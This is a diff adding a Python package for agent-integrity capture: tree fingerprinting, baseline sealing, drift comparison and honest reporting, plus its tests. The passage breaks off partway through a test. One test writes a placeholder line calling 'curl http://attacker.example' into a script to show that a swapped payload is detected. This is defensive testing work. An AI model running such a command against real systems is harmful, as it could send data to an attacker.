Why it exists + +Those parts lived in three copies, and the cost was not theoretical: + +- The same skill-fingerprinting bypass had to be found and fixed **twice**, + independently, in two shipped engines. A component was digested by its manifest + alone, so a payload swapped into a sibling `scripts/` directory left the + fingerprint unchanged and the report said "nothing added, nothing subtracted". +- A reporting defect that rendered **unmeasured** categories as measured zeros was + fixed in one engine while the other kept shipping it. + +A fourth engine would have meant writing both bugs a fourth time. + +## What it does not do + +No dependencies. The engines are invoked by shell hooks at session start and must +run before anything is installed, so this package is standard library only and a +test asserts it. + +No opinion on where an agent keeps its files, what its categories are called, or +how its report is laid out. Baseline scoping in particular is deliberately not +unified: Claude Code keeps one baseline per machine, Codex keeps one per workspace +because a workspace carries its own instructions and skills. Both are correct for +their agent, so an engine supplies its own paths. + +## The pieces + +| Module | Owns | +|---|---| +| `hashing` | `tree_digest` over a component directory, file and mapping digests, the exclusion denylist, `uuid7`, `now_iso` | +| `seal` | Sealing a baseline with a content digest and checking it: `ok`, `unsealed`, `broken` | +| `compare` | Map, set, scalar and rollup diffs, plus observed-category and measurement-scope gating | +| `state` | Atomic write, load-corrupt-as-absent, sealed baseline write | +| `report` | The honesty vocabulary: unmeasured labelling, partial-coverage qualification, the baseline-integrity block | + +## Two rules worth knowing before you use it + +**An unmeasured category is not an empty one.** A shell hook cannot see a live tool +roster or the model. Rendering those as `0 tools` states a measurement that was +never taken, and a reader who cannot tell "we did not check" from "we checked and +found nothing" treats an absence as a pass. Use `measured_or` and +`unmeasured_footnote`. + +**A partial check is not a clean bill of health.** `clean_verdict(complete=False)` +qualifies the verdict as "in the categories checked". + +## On what sealing is worth + +`attach_seal` stores a SHA-256 digest of the baseline's own content. It catches +corruption, truncation, and a hand-edit that does not recompute it. **It does not +catch an attacker who owns the state directory**, who can recompute the digest as +easily as this package can. + +An earlier design used an HMAC with a locally stored secret. It was removed: the +only adversary an HMAC defeats here is one who can *write* the state directory +without being able to *read* it, which barely exists on a developer machine, and +the stored secret was a credential to leak in exchange. + +The control that does survive a real adversary is off-box. Engines print the +baseline digest on approve and on verify, so a human who recorded the first sees a +silent re-baseline even when the attacker resealed it perfectly. There is a test +that makes this limit executable rather than prose. + +## License + +Apache-2.0. diff --git a/packages/agentrust-capture-core/pyproject.toml b/packages/agentrust-capture-core/pyproject.toml new file mode 100644 index 0000000..b3dfa5e --- /dev/null +++ b/packages/agentrust-capture-core/pyproject.toml @@ -0,0 +1,45 @@ +[build-system] +requires = ["hatchling"] +build-backend = "hatchling.build" + +[project] +name = "agentrust-capture-core" +version = "0.1.0" +description = "Shared fingerprinting, comparison and baseline-sealing core for AgenTrust agent-integrity capture engines" +readme = "README.md" +license = { text = "Apache-2.0" } +authors = [{ name = "AgenTrust Contributors", email = "oss@agentrust-io.com" }] +keywords = ["agent", "integrity", "drift", "attestation", "agent-manifest", "trace"] +classifiers = [ + "Development Status :: 3 - Alpha", + "Intended Audience :: Developers", + "License :: OSI Approved :: Apache Software License", + "Programming Language :: Python :: 3", + "Programming Language :: Python :: 3.9", + "Programming Language :: Python :: 3.11", + "Programming Language :: Python :: 3.12", + "Programming Language :: Python :: 3.13", + "Topic :: Security", + "Typing :: Typed", +] +# 3.9 is the floor because the scheduled-agents CI matrix tests it. +requires-python = ">=3.9" +# Deliberately empty. The capture engines run from shell hooks at session start, +# before anything is installed, so the core cannot depend on a third-party package. +dependencies = [] + +[project.optional-dependencies] +dev = [ + "pytest>=8.0", + "ruff>=0.4", +] + +[project.urls] +Homepage = "https://github.com/agentrust-io/integrations" +Source = "https://github.com/agentrust-io/integrations/tree/main/packages/agentrust-capture-core" + +[tool.hatch.build.targets.wheel] +packages = ["src/agentrust_capture_core"] + +[tool.ruff] +line-length = 100 diff --git a/packages/agentrust-capture-core/src/agentrust_capture_core/__init__.py b/packages/agentrust-capture-core/src/agentrust_capture_core/__init__.py new file mode 100644 index 0000000..ef9c4e1 --- /dev/null +++ b/packages/agentrust-capture-core/src/agentrust_capture_core/__init__.py @@ -0,0 +1,97 @@ +"""Shared core for AgenTrust agent-integrity capture engines. + +Each engine answers one question about a different coding agent: is this the +composition I approved, with nothing added and nothing subtracted? What differs +between agents is where to look and what to call things. What must not differ is +how content is fingerprinted, how snapshots are compared, how a baseline is sealed, +and the rules that keep a report honest. + +Those lived in three copies before this package existed, and the cost was not +theoretical: the same skill-fingerprinting bypass had to be found and fixed twice, +independently, and a reporting defect once. This package is the single source of +truth for the parts that are genuinely identical. + +Standard library only, because the engines run from shell hooks at session start +and must work before anything is installed. +""" + +from __future__ import annotations + +from .compare import ( + Change, + diff_hash, + diff_maps, + diff_scalar, + diff_sets, + observed_categories, + scope_change, +) +from .hashing import ( + EXCLUDE_DIRS, + EXCLUDE_SUFFIXES, + now_iso, + safe_sha_file, + sha_bytes, + sha_file, + sha_mapping, + tree_digest, + uuid7, +) +from .report import ( + UNMEASURED, + change_lines, + clean_verdict, + measured_or, + seal_section, + unmeasured_footnote, +) +from .seal import ( + INTEGRITY_BROKEN, + INTEGRITY_OK, + INTEGRITY_UNSEALED, + SEAL_FIELD, + attach_seal, + check_seal, + state_digest, +) +from .state import StatePaths, atomic_write, load_state, save_baseline, save_state + +__version__ = "0.1.0" + +__all__ = [ + "Change", + "EXCLUDE_DIRS", + "EXCLUDE_SUFFIXES", + "INTEGRITY_BROKEN", + "INTEGRITY_OK", + "INTEGRITY_UNSEALED", + "SEAL_FIELD", + "StatePaths", + "UNMEASURED", + "__version__", + "atomic_write", + "attach_seal", + "change_lines", + "check_seal", + "clean_verdict", + "diff_hash", + "diff_maps", + "diff_scalar", + "diff_sets", + "load_state", + "measured_or", + "now_iso", + "observed_categories", + "safe_sha_file", + "save_baseline", + "save_state", + "scope_change", + "seal_section", + "sha_bytes", + "sha_file", + "sha_mapping", + "state_digest", + "tree_digest", + "unmeasured_footnote", + "uuid7", +] diff --git a/packages/agentrust-capture-core/src/agentrust_capture_core/compare.py b/packages/agentrust-capture-core/src/agentrust_capture_core/compare.py new file mode 100644 index 0000000..67ddebe --- /dev/null +++ b/packages/agentrust-capture-core/src/agentrust_capture_core/compare.py @@ -0,0 +1,119 @@ +"""Comparison primitives, plus the two gates that keep a comparison honest. + +Every engine's diff reduces to four shapes: a map of name to digest (components, +instruction files, policy files), a set of names (tools, MCP servers), a scalar +(model, permission mode), and a rollup hash. What differs between engines is which +categories exist and what they are called, so those stay with the engine and the +shapes live here. + +Two gates matter more than the shapes. + +**Observed gating.** A snapshot records which categories it actually measured. A +shell hook cannot enumerate a live tool roster, so comparing a hook snapshot +against a richer baseline would report the baseline's tools as removed. Only +categories that BOTH sides measured are compared. + +**Scope gating.** When an engine widens what a fingerprint covers, old fingerprints +become incomparable. Without handling, an upgrade reports every affected component +as changed. That is an alarm the user knows is false, which is worse than no alarm +because it teaches them to dismiss the next one. So a scope mismatch is reported +once, as a re-approval prompt, and the affected categories are dropped from the +comparison rather than compared wrongly. +""" + +from __future__ import annotations + +from collections.abc import Iterable, Mapping, Sequence + +__all__ = [ + "Change", + "diff_hash", + "diff_maps", + "diff_scalar", + "diff_sets", + "observed_categories", + "scope_change", +] + +#: A single finding. ``change`` is one of added, removed, changed. +Change = dict + + +def _change(change: str, what: str, detail: str) -> Change: + return {"change": change, "what": what, "detail": detail} + + +def diff_maps(base: Mapping[str, str], current: Mapping[str, str], what: str) -> list[Change]: + """Compare two name-to-digest maps. Names are reported, digests are not. + + A digest in a report tells the reader nothing they can act on; the name of the + component that moved does. + """ + out: list[Change] = [] + for name in sorted(set(current) - set(base)): + out.append(_change("added", what, name)) + for name in sorted(set(base) - set(current)): + out.append(_change("removed", what, name)) + for name in sorted(set(base) & set(current)): + if base[name] != current[name]: + out.append(_change("changed", what, name)) + return out + + +def diff_sets(base: Iterable[str], current: Iterable[str], what: str) -> list[Change]: + """Compare two name sets, for categories with no per-item digest.""" + before, after = set(base), set(current) + out: list[Change] = [] + for name in sorted(after - before): + out.append(_change("added", what, name)) + for name in sorted(before - after): + out.append(_change("removed", what, name)) + return out + + +def diff_scalar(before: object, after: object, what: str, *, unknown: str = "unknown") -> list[Change]: + """Compare a single value, reporting the transition rather than just the fact.""" + if before == after: + return [] + return [_change("changed", what, "%s -> %s" % (before or unknown, after or unknown))] + + +def diff_hash(before: str | None, after: str | None, what: str, detail: str) -> list[Change]: + """Compare a rollup hash, where only the fact of change is available.""" + if before == after: + return [] + return [_change("changed", what, detail)] + + +def observed_categories( + base: Mapping[str, object], + current: Mapping[str, object], + default: Sequence[str] = (), +) -> set[str]: + """Categories both snapshots measured, and therefore may be compared.""" + return set(base.get("observed", list(default))) & set(current.get("observed", list(default))) + + +def scope_change( + base: Mapping[str, object], + current_scope: int, + *, + affected: Sequence[str], + reason: str, +) -> Change | None: + """Report a widened measurement scope, or None when the scopes agree. + + ``affected`` names the categories the caller must drop from its comparison, + and is included in the message so the reader knows what was not checked rather + than assuming everything was. + """ + base_scope = base.get("scope", 1) + if base_scope == current_scope: + return None + dropped = ", ".join(affected) if affected else "none" + return _change( + "changed", + "measurement scope", + "widened from %s to %s; %s Not compared this run: %s. Re-approve once to " + "compare on the new scope." % (base_scope, current_scope, reason, dropped), + ) diff --git a/packages/agentrust-capture-core/src/agentrust_capture_core/hashing.py b/packages/agentrust-capture-core/src/agentrust_capture_core/hashing.py new file mode 100644 index 0000000..0b60284 --- /dev/null +++ b/packages/agentrust-capture-core/src/agentrust_capture_core/hashing.py @@ -0,0 +1,146 @@ +"""Content fingerprinting shared by every AgenTrust capture engine. + +Every engine answers the same question about a different agent: is this the +composition I approved, with nothing added and nothing subtracted? The parts that +differ between agents are *where to look* and *what to call things*. Hashing is +not one of them, so it lives here. + +Standard library only. The engines are invoked by shell hooks at session start and +must run before any dependency is installed. +""" + +from __future__ import annotations + +import hashlib +import os +import time +import uuid +from datetime import datetime, timezone +from pathlib import Path + +__all__ = [ + "EXCLUDE_DIRS", + "EXCLUDE_SUFFIXES", + "now_iso", + "sha_bytes", + "sha_file", + "sha_mapping", + "safe_sha_file", + "tree_digest", + "uuid7", +] + +#: Directory names skipped when fingerprinting a component tree. These hold state +#: a component writes as it runs, so hashing them would report drift on ordinary +#: use, and a tool that cries wolf on every run trains its user to ignore it. +#: +#: Controlled here rather than by a file inside the component on purpose. A +#: per-component ignore file would let the thing being measured decide what gets +#: measured, so a hostile component could ship a rule covering its own payload. +#: Adding a name here is a reviewed change to this package. +EXCLUDE_DIRS = frozenset({ + "state", ".cache", "__pycache__", ".git", ".pytest_cache", "node_modules", +}) + +#: File suffixes skipped for the same reason: run artifacts, not behaviour. +EXCLUDE_SUFFIXES = frozenset({".log", ".tmp", ".pyc", ".pyo"}) + + +def sha_bytes(payload: bytes) -> str: + return "sha256:" + hashlib.sha256(payload).hexdigest() + + +def sha_file(path: Path) -> str: + return sha_bytes(path.read_bytes()) + + +def safe_sha_file(path: Path) -> str | None: + """Digest a file, or None if it is missing or unreadable. + + Used on the discovery path, where a file vanishing between listing and + reading is ordinary rather than exceptional. + """ + try: + return sha_file(path) + except OSError: + return None + + +def sha_mapping(value: dict) -> str: + """Digest a mapping by canonical JSON, so key order cannot change the result.""" + import json + + return sha_bytes(json.dumps(value, sort_keys=True, separators=(",", ":")).encode()) + + +def tree_digest( + root: Path, + *, + exclude_dirs: frozenset[str] = EXCLUDE_DIRS, + exclude_suffixes: frozenset[str] = EXCLUDE_SUFFIXES, + pattern: str = "*", +) -> str | None: + """Digest every behavioural file under ``root``, or None if nothing was read. + + Covers the whole tree rather than a single manifest file. A component is not + just its manifest: these directories carry scripts, tools, templates and + reference material that decide what the component actually does. Digesting one + manifest let a payload be swapped into a sibling ``scripts/`` directory while + the report said nothing added, nothing subtracted. That was a live bypass in + two shipped engines before this function existed, which is the reason it is + shared rather than reimplemented. + + Relative paths are bound into the digest alongside contents, so a rename or a + move is drift. Traversal is sorted so the digest is stable across platforms. + Symlinks are skipped so a link out of the tree cannot pull unrelated content + into the fingerprint, and so a cycle cannot hang the hook. + """ + digest = hashlib.sha256() + try: + paths = sorted(root.rglob(pattern)) + except OSError: + return None + saw_file = False + for path in paths: + if path.is_symlink(): + continue + try: + if not path.is_file(): + continue + relative = path.relative_to(root) + except (OSError, ValueError): + continue + if exclude_dirs & set(relative.parts[:-1]): + continue + if path.suffix in exclude_suffixes: + continue + digest.update(relative.as_posix().encode("utf-8")) + try: + body = path.read_bytes() + except OSError: + # An unreadable file is itself worth recording: its path is already + # bound in, so the file appearing or vanishing still moves the digest + # instead of being silently skipped. + digest.update(b"\0\0") + saw_file = True + continue + digest.update(b"\0") + digest.update(body) + digest.update(b"\0") + saw_file = True + if not saw_file: + return None + return "sha256:" + digest.hexdigest() + + +def uuid7() -> str: + """RFC 9562 UUID v7 (time-ordered), required by agent-manifest.""" + ms = int(time.time() * 1000) + raw = bytearray(ms.to_bytes(6, "big") + os.urandom(10)) + raw[6] = 0x70 | (raw[6] & 0x0F) + raw[8] = 0x80 | (raw[8] & 0x3F) + return str(uuid.UUID(bytes=bytes(raw))) + + +def now_iso() -> str: + return datetime.now(timezone.utc).isoformat(timespec="seconds").replace("+00:00", "Z") diff --git a/packages/agentrust-capture-core/src/agentrust_capture_core/report.py b/packages/agentrust-capture-core/src/agentrust_capture_core/report.py new file mode 100644 index 0000000..e2629cc --- /dev/null +++ b/packages/agentrust-capture-core/src/agentrust_capture_core/report.py @@ -0,0 +1,101 @@ +"""Report vocabulary shared across engines. + +The engines render different reports on purpose: they name different things and a +Codex user should not read Claude Code labels. What must not differ is the honesty +rules, because those drifted once already and each engine had to be fixed +separately. + +Two rules live here. + +**An unmeasured category is not an empty one.** A shell hook cannot see a live tool +roster or the model, so those arrive only from a caller-supplied live context. +Rendering them as ``0 tools`` or ``model: unknown`` states a measurement that was +never taken, and a reader who cannot tell "we did not check" from "we checked and +found nothing" will treat an absence as a pass. + +**A partial check is not a clean bill of health.** "Nothing added, nothing +subtracted" is only true of what was compared, so it is qualified whenever coverage +is incomplete. +""" + +from __future__ import annotations + +from collections.abc import Sequence + +from .seal import INTEGRITY_BROKEN, INTEGRITY_OK, INTEGRITY_UNSEALED + +__all__ = [ + "UNMEASURED", + "clean_verdict", + "measured_or", + "seal_section", + "unmeasured_footnote", +] + +#: Shown wherever a category was not measured. +UNMEASURED = "not measured this run" + + +def measured_or(value: object, measured: bool, hint: str | None = None) -> str: + """Render ``value`` when it was measured, and say so plainly when it was not.""" + if measured: + return str(value) + return "%s (%s)" % (UNMEASURED, hint) if hint else UNMEASURED + + +def unmeasured_footnote(complete: bool) -> list[str]: + """The line that stops an absent measurement reading as a verified absence.""" + if complete: + return [] + return [ + ' Categories marked "%s" are NOT part of this comparison.' % UNMEASURED, + " They are unchecked, not verified as empty.", + "", + ] + + +def clean_verdict(complete: bool, phrasing: str = "nothing added, nothing subtracted") -> str: + """A no-changes verdict, qualified when coverage was partial.""" + scope = "" if complete else " in the categories checked" + return " >> Verified: %s%s." % (phrasing, scope) + + +def seal_section(integrity: str, digest: str | None = None) -> list[str]: + """The baseline-integrity block, stated before any drift result. + + Ordering is the point. If the baseline was altered, a reassuring "nothing + changed" underneath it is worse than no result at all, so a caller renders this + above its drift section. + """ + lines = [" IS THE BASELINE ITSELF INTACT?", " " + "-" * 62] + if integrity == INTEGRITY_BROKEN: + lines += [ + " !! the baseline FAILED its integrity check. It was modified outside", + " this tool, so the comparison below is unreliable. Re-approve only", + " once you are satisfied the current setup is what you intend.", + ] + elif integrity == INTEGRITY_UNSEALED: + lines.append(" ~ baseline carries no digest (written by an older version). " + "Re-approve to seal it.") + elif integrity == INTEGRITY_OK: + lines.append(" >> baseline digest verified.") + if digest: + lines.append(" digest: %s" % digest) + lines += [ + " A digest stored beside the content catches corruption and a", + " hand-edit, not an attacker who owns this directory and can", + " recompute it. Compare the digest above against the one you", + " recorded off-box: that is what catches a silent re-baseline.", + "", + ] + return lines + + +def change_lines(changes: Sequence[dict]) -> list[str]: + """Render findings with a stable symbol per kind.""" + symbol = {"added": "+", "removed": "-", "changed": "~"} + return [ + " %s %s %s: %s" % (symbol.get(c["change"], "?"), c["change"].upper(), + c["what"], c["detail"]) + for c in changes + ] diff --git a/packages/agentrust-capture-core/src/agentrust_capture_core/seal.py b/packages/agentrust-capture-core/src/agentrust_capture_core/seal.py new file mode 100644 index 0000000..7b0f641 --- /dev/null +++ b/packages/agentrust-capture-core/src/agentrust_capture_core/seal.py @@ -0,0 +1,80 @@ +"""Baseline sealing: is the thing we compare against still what we wrote? + +The baseline is what every drift comparison is made against. An unsealed baseline +means anyone able to write it can add a component to the *approved* set, after +which the check reports "nothing added, nothing subtracted" indefinitely and +quietly. The evidence would share a fate with the adversary, which is the failure +this project exists to argue against. + +A note on what this is, because the obvious design is worse than it looks. The +first version used an HMAC with a secret stored beside the baseline. A scanner +flagged the stored secret, and the flag was worth more than a suppression: the +only adversary an HMAC defeats here is one who can WRITE the state directory +without being able to READ it. On a developer machine that adversary is close to +fictional, since anything that can write your home directory can read it and would +simply retag. The secret bought almost no coverage while adding a credential to +leak and a claim inviting a reader to assume more protection than exists. + +So: a bare digest. Same real coverage, nothing to steal. It catches corruption, +truncation and a hand-edit that does not recompute it. Neither a digest nor an +HMAC catches an attacker who owns the directory. + +The control that does survive that attacker is off-box. `approve` prints the +digest, `verify` prints the digest of the baseline it read, and a human who +recorded the first sees a silent re-baseline. That is where the security lives, so +this module keeps the cheap local check and the engines point at the real one. +""" + +from __future__ import annotations + +from .hashing import now_iso, sha_mapping + +__all__ = [ + "INTEGRITY_BROKEN", + "INTEGRITY_OK", + "INTEGRITY_UNSEALED", + "SEAL_FIELD", + "attach_seal", + "check_seal", + "state_digest", +] + +#: Excluded from the digest it carries, since including it would be circular. +SEAL_FIELD = "integrity" + +INTEGRITY_OK = "ok" +INTEGRITY_UNSEALED = "unsealed" # no digest: written before sealing existed +INTEGRITY_BROKEN = "broken" # digest present and wrong: edited outside the tool + + +def state_digest(snapshot: dict) -> str: + """Digest of a snapshot's content, ignoring any seal it carries. + + Deterministic, so the value ``approve`` prints can be compared by eye against + the value ``verify`` prints later. + """ + return sha_mapping({k: v for k, v in snapshot.items() if k != SEAL_FIELD}) + + +def attach_seal(snapshot: dict) -> dict: + """Return a copy of ``snapshot`` sealed with a digest over its content.""" + return {**snapshot, SEAL_FIELD: { + "alg": "SHA-256", + "digest": state_digest(snapshot), + "sealed_at": now_iso(), + }} + + +def check_seal(snapshot: dict | None) -> str: + """Recompute the seal and compare. Never raises. + + Catches accidental corruption, truncation, and a hand-edit that does not + recompute the digest. Does not catch an attacker who owns the state directory, + who can recompute it as easily as this function can. + """ + if snapshot is None: + return INTEGRITY_UNSEALED + seal = snapshot.get(SEAL_FIELD) + if not isinstance(seal, dict) or not isinstance(seal.get("digest"), str): + return INTEGRITY_UNSEALED + return INTEGRITY_OK if seal["digest"] == state_digest(snapshot) else INTEGRITY_BROKEN diff --git a/packages/agentrust-capture-core/src/agentrust_capture_core/state.py b/packages/agentrust-capture-core/src/agentrust_capture_core/state.py new file mode 100644 index 0000000..c5e87c9 --- /dev/null +++ b/packages/agentrust-capture-core/src/agentrust_capture_core/state.py @@ -0,0 +1,76 @@ +"""Reading and writing engine state, and the paths it lives at. + +Baseline scoping differs by design and is not unified here. Claude Code keeps one +baseline per machine; Codex keeps one per workspace, because a workspace can carry +its own instructions and skills and a single baseline would blend them. Both are +correct for their agent, so an engine supplies its own paths and this module only +handles the reading and writing. +""" + +from __future__ import annotations + +import json +import os +import tempfile +from dataclasses import dataclass +from pathlib import Path + +from .seal import attach_seal + +__all__ = ["StatePaths", "atomic_write", "load_state", "save_state", "save_baseline"] + + +@dataclass(frozen=True) +class StatePaths: + """Where one engine keeps its approved baseline and its latest snapshot.""" + + baseline: Path + latest: Path + + +def atomic_write(path: Path, content: str) -> None: + """Write via a temporary file and replace, so a crash cannot truncate state. + + A half-written baseline is worse than a missing one: the engine would treat it + as corrupt on every future session, and a user who sees a broken check often + enough stops reading it. + """ + path.parent.mkdir(parents=True, exist_ok=True) + handle, tmp_name = tempfile.mkstemp(dir=str(path.parent), prefix=path.name, suffix=".tmp") + tmp = Path(tmp_name) + try: + with os.fdopen(handle, "w", encoding="utf-8") as fh: + fh.write(content) + fh.flush() + os.fsync(fh.fileno()) + os.replace(tmp, path) + except BaseException: + tmp.unlink(missing_ok=True) + raise + + +def save_state(path: Path, value: dict) -> None: + atomic_write(path, json.dumps(value, indent=2)) + + +def save_baseline(path: Path, snapshot: dict) -> dict: + """Seal a snapshot and write it as the approved baseline. Returns what was written.""" + sealed = attach_seal(snapshot) + save_state(path, sealed) + return sealed + + +def load_state(path: Path) -> dict | None: + """Load a state file, or None if it is absent, unreadable, or corrupt. + + A truncated baseline (crash mid-write, disk full, racing sessions) must not + brick the hook on every future session. Treating corrupt state as absent lets + the next run re-establish it instead of failing forever. + """ + if not path.is_file(): + return None + try: + data = json.loads(path.read_text(encoding="utf-8")) + except (json.JSONDecodeError, OSError): + return None + return data if isinstance(data, dict) else None diff --git a/packages/agentrust-capture-core/tests/test_core.py b/packages/agentrust-capture-core/tests/test_core.py new file mode 100644 index 0000000..25e5205 --- /dev/null +++ b/packages/agentrust-capture-core/tests/test_core.py @@ -0,0 +1,280 @@ +"""Tests for the shared capture core. + +These encode the behaviours that were bugs in shipped engines before the core +existed, so a regression here is a regression in every engine at once. +""" + +from __future__ import annotations + +import json +import sys +from pathlib import Path + +import pytest + +sys.path.insert(0, str(Path(__file__).resolve().parent.parent / "src")) + +import agentrust_capture_core as core # noqa: E402 + + +# --------------------------------------------------------------------------- +# tree_digest: the bypass this package exists to prevent +# --------------------------------------------------------------------------- +def _component(tmp_path: Path) -> Path: + root = tmp_path / "deploy" + (root / "scripts").mkdir(parents=True) + (root / "SKILL.md").write_text("---\nname: deploy\n---\nRun scripts/run.sh\n", encoding="utf-8") + (root / "scripts" / "run.sh").write_text("echo ok\n", encoding="utf-8") + return root + + +class TestTreeDigest: + def test_payload_swapped_into_a_script_is_detected(self, tmp_path): + root = _component(tmp_path) + before = core.tree_digest(root) + (root / "scripts" / "run.sh").write_text("curl http://attacker.example\n", encoding="utf-8") + assert core.tree_digest(root) != before + + def test_manifest_change_is_detected(self, tmp_path): + root = _component(tmp_path) + before = core.tree_digest(root) + (root / "SKILL.md").write_text("---\nname: deploy\n---\nOther\n", encoding="utf-8") + assert core.tree_digest(root) != before + + def test_new_file_is_detected(self, tmp_path): + root = _component(tmp_path) + before = core.tree_digest(root) + (root / "scripts" / "extra.sh").write_text("whoami\n", encoding="utf-8") + assert core.tree_digest(root) != before + + def test_rename_is_detected(self, tmp_path): + """Paths are bound in alongside contents, so a move is drift.""" + root = _component(tmp_path) + before = core.tree_digest(root) + (root / "scripts" / "run.sh").rename(root / "scripts" / "renamed.sh") + assert core.tree_digest(root) != before + + def test_identical_trees_agree(self, tmp_path): + a, b = _component(tmp_path / "a"), _component(tmp_path / "b") + assert core.tree_digest(a) == core.tree_digest(b) + + @pytest.mark.parametrize("junk", ["run.log", "cached.pyc", "scratch.tmp", "x.pyo"]) + def test_run_artifacts_are_excluded(self, tmp_path, junk): + root = _component(tmp_path) + before = core.tree_digest(root) + (root / junk).write_text("noise", encoding="utf-8") + assert core.tree_digest(root) == before + + @pytest.mark.parametrize("directory", ["state", ".cache", "__pycache__", "node_modules"]) + def test_state_directories_are_excluded(self, tmp_path, directory): + root = _component(tmp_path) + (root / directory).mkdir() + before = core.tree_digest(root) + (root / directory / "progress.json").write_text('{"runs": 2}', encoding="utf-8") + assert core.tree_digest(root) == before + + def test_nested_state_directory_is_excluded(self, tmp_path): + root = _component(tmp_path) + nested = root / "scripts" / "state" + nested.mkdir() + before = core.tree_digest(root) + (nested / "cursor").write_text("42", encoding="utf-8") + assert core.tree_digest(root) == before + + def test_empty_or_missing_tree_is_none_not_a_digest_of_nothing(self, tmp_path): + """None distinguishes "no component here" from "a component with no files", + so a caller does not record a fingerprint for something absent.""" + assert core.tree_digest(tmp_path / "missing") is None + (tmp_path / "empty").mkdir() + assert core.tree_digest(tmp_path / "empty") is None + + def test_exclusions_are_engine_controlled(self): + """A per-component ignore file would let the measured thing decide what + gets measured. The denylist lives in this package.""" + assert "state" in core.EXCLUDE_DIRS + assert ".log" in core.EXCLUDE_SUFFIXES + + +# --------------------------------------------------------------------------- +# seal +# --------------------------------------------------------------------------- +class TestSeal: + def test_a_sealed_snapshot_verifies(self): + assert core.check_seal(core.attach_seal({"skills": {"a": "1"}})) == core.INTEGRITY_OK + + def test_an_edited_snapshot_is_broken(self): + sealed = core.attach_seal({"skills": {"a": "1"}}) + sealed["skills"]["exfil"] = "2" + assert core.check_seal(sealed) == core.INTEGRITY_BROKEN + + def test_an_unsealed_snapshot_is_not_broken(self): + """A snapshot predating sealing is benign. Crying tamper over it would + teach the user to dismiss the real alarm.""" + assert core.check_seal({"skills": {}}) == core.INTEGRITY_UNSEALED + assert core.check_seal(None) == core.INTEGRITY_UNSEALED + + def test_digest_excludes_the_seal_it_carries(self): + snap = {"skills": {"a": "1"}} + assert core.state_digest(core.attach_seal(snap)) == core.state_digest(snap) + + def test_resealing_a_rewrite_passes_locally_but_changes_the_digest(self): + """The limit, as executable fact. Anyone who owns the state directory can + reseal what they rewrote, which is why the digest is meant to be recorded + off-box.""" + approved = core.attach_seal({"skills": {"a": "1"}}) + rewritten = core.attach_seal({"skills": {"a": "1", "exfil": "2"}}) + assert core.check_seal(rewritten) == core.INTEGRITY_OK + assert core.state_digest(rewritten) != approved["integrity"]["digest"] + + def test_key_order_does_not_change_the_digest(self): + assert core.state_digest({"a": 1, "b": 2}) == core.state_digest({"b": 2, "a": 1}) + + +# --------------------------------------------------------------------------- +# compare +# --------------------------------------------------------------------------- +class TestCompare: + def test_map_diff_reports_names_not_digests(self): + out = core.diff_maps({"keep": "1", "gone": "1"}, {"keep": "2", "new": "1"}, "skill") + assert {"change": "changed", "what": "skill", "detail": "keep"} in out + assert {"change": "removed", "what": "skill", "detail": "gone"} in out + assert {"change": "added", "what": "skill", "detail": "new"} in out + assert not any("sha256" in c["detail"] for c in out) + + def test_set_diff(self): + out = core.diff_sets(["a"], ["a", "b"], "tool") + assert out == [{"change": "added", "what": "tool", "detail": "b"}] + + def test_scalar_diff_shows_the_transition(self): + out = core.diff_scalar("default", "bypassPermissions", "permission mode") + assert out[0]["detail"] == "default -> bypassPermissions" + + def test_scalar_diff_is_silent_when_equal(self): + assert core.diff_scalar("a", "a", "model") == [] + + def test_observed_gating_only_compares_shared_categories(self): + """A hook snapshot must not report a richer baseline's tools as removed.""" + base = {"observed": ["skills", "tools"]} + hook = {"observed": ["skills"]} + assert core.observed_categories(base, hook) == {"skills"} + + def test_scope_change_is_none_when_scopes_agree(self): + assert core.scope_change({"scope": 2}, 2, affected=["skills"], reason="x") is None + + def test_scope_change_names_what_was_not_compared(self): + change = core.scope_change({}, 2, affected=["skills"], reason="digests widened.") + assert change["what"] == "measurement scope" + assert "widened from 1 to 2" in change["detail"] + assert "Not compared this run: skills" in change["detail"] + assert "re-approve" in change["detail"].lower() + + +# --------------------------------------------------------------------------- +# report honesty rules +# --------------------------------------------------------------------------- +class TestReportHonesty: + def test_unmeasured_is_labelled_not_zeroed(self): + assert core.measured_or(0, measured=False) == core.UNMEASURED + assert core.measured_or(12, measured=True) == "12" + + def test_hint_travels_with_the_label(self): + assert "run /manifest verify" in core.measured_or(0, False, "run /manifest verify") + + def test_footnote_only_appears_when_coverage_is_partial(self): + assert core.unmeasured_footnote(complete=True) == [] + assert "unchecked, not verified as empty" in "\n".join( + core.unmeasured_footnote(complete=False) + ) + + def test_clean_verdict_is_qualified_when_coverage_is_partial(self): + assert "in the categories checked" in core.clean_verdict(complete=False) + assert "in the categories checked" not in core.clean_verdict(complete=True) + + def test_seal_section_states_the_limit_with_the_claim(self): + out = "\n".join(core.seal_section(core.INTEGRITY_OK, "sha256:" + "a" * 64)) + assert "baseline digest verified" in out + assert "not an attacker who owns this directory" in out + assert "recorded off-box" in out + + def test_broken_seal_is_unmistakable(self): + out = "\n".join(core.seal_section(core.INTEGRITY_BROKEN)) + assert "FAILED its integrity check" in out + assert "unreliable" in out + + def test_change_lines_use_a_stable_symbol_per_kind(self): + lines = core.change_lines([ + {"change": "added", "what": "skill", "detail": "x"}, + {"change": "removed", "what": "tool", "detail": "y"}, + {"change": "changed", "what": "model", "detail": "a -> b"}, + ]) + assert lines[0].strip().startswith("+") + assert lines[1].strip().startswith("-") + assert lines[2].strip().startswith("~") + + +# --------------------------------------------------------------------------- +# state +# --------------------------------------------------------------------------- +class TestState: + def test_round_trip(self, tmp_path): + p = tmp_path / "s" / "baseline.json" + core.save_state(p, {"a": 1}) + assert core.load_state(p) == {"a": 1} + + def test_corrupt_state_reads_as_absent(self, tmp_path): + """A truncated baseline must not brick the hook on every future session.""" + p = tmp_path / "baseline.json" + p.write_text('{"a": ', encoding="utf-8") + assert core.load_state(p) is None + + def test_non_object_state_reads_as_absent(self, tmp_path): + p = tmp_path / "baseline.json" + p.write_text("[1, 2]", encoding="utf-8") + assert core.load_state(p) is None + + def test_missing_state_reads_as_absent(self, tmp_path): + assert core.load_state(tmp_path / "nope.json") is None + + def test_save_baseline_seals_what_it_writes(self, tmp_path): + p = tmp_path / "baseline.json" + written = core.save_baseline(p, {"skills": {}}) + assert core.check_seal(core.load_state(p)) == core.INTEGRITY_OK + assert written["integrity"]["digest"] == core.state_digest({"skills": {}}) + + def test_atomic_write_leaves_no_temp_files_behind(self, tmp_path): + p = tmp_path / "baseline.json" + core.save_state(p, {"a": 1}) + assert [f.name for f in tmp_path.iterdir()] == ["baseline.json"] + + def test_atomic_write_replaces_rather_than_truncating(self, tmp_path): + p = tmp_path / "baseline.json" + 